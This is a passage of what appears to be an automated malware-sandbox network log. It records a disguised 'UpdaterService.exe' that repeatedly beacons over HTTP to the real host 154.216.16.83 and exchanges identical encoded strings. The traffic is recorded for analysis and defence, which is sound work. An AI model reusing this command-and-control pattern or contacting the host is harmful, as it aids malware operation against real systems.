Dec 14, 2024 21:39:33.137584925 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:39:34.330568075 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49758	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:39:34.667948008 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:39:35.861650944 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49759	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:39:36.214952946 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:39:37.437509060 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49760	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:39:37.778712034 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:39:38.966927052 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49761	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:39:39.324410915 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:39:40.536264896 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49762	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:39:40.871141911 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:39:42.078727961 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49763	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:39:42.418107986 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:39:43.634465933 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49764	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:39:43.980496883 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:39:45.174374104 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49765	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:39:45.511683941 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:39:46.698750019 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49766	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:39:47.043431997 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:39:48.256105900 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49767	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:39:48.605483055 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:39:49.803189039 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49768	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:39:50.152354956 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:39:51.358875036 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49769	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:39:51.699259996 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:39:52.889554024 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49770	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:39:53.230562925 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:39:54.419624090 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49771	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:39:54.761779070 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:39:55.972635031 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49772	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:39:56.308515072 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:39:57.512021065 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49773	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:39:57.855604887 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:39:59.042907000 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49775	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:39:59.386678934 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:40:00.575773954 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49776	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:40:00.917982101 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:40:02.104239941 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49783	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:40:02.449403048 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:40:03.662786007 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49789	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:40:04.011889935 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:40:05.206315041 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49790	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:40:05.543299913 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:40:06.728760004 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49796	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:40:07.074151039 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:40:08.262576103 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49802	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:40:08.605895042 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:40:09.826822042 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49803	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:40:10.167886019 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:40:11.358376026 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49809	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:40:11.699331999 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:40:12.888777018 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49815	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:40:13.230511904 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:40:14.430507898 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49819	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:40:14.777371883 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:40:15.961604118 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49822	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:40:16.308795929 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:40:17.504251957 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49828	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:40:17.840297937 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:40:19.026623011 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49834	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:40:19.371249914 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:40:20.574186087 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49835	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:40:20.917992115 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:40:22.110311985 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49841	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
